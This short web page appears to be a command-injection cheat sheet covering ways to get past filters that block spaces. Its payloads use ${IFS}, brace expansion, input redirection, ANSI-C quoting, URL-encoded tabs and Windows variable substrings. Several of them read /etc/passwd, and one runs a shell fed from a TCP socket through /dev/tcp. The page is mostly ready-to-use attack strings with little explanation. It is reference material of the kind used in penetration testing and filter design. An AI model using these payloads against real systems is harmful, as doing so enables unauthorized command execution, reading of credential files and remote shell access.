Command Injection: Bypass Without Space
$IFSis a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret$IFSas a space.$IFSdoes not directly work as a separator in commands likels,wget; use${IFS}instead.cat${IFS}/etc/passwd ls${IFS}-laIn some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
{cat,/etc/passwd}Input redirection. The < character tells the shell to read the contents of the file specified.
cat</etc/passwd sh</dev/tcp/127.0.0.1/4242ANSI-C Quoting
X=$'uname\x20-a'&&$XThe tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value
09.;ls%09-al%09/homeIn Windows,
%VARIABLE:~start,length%is a syntax used for substring operations on environment variables.ping%CommonProgramFiles:~10,-18%127.0.0.1 ping%PROGRAMFILES:~10,-5%127.0.0.1
Comments
No comments yet.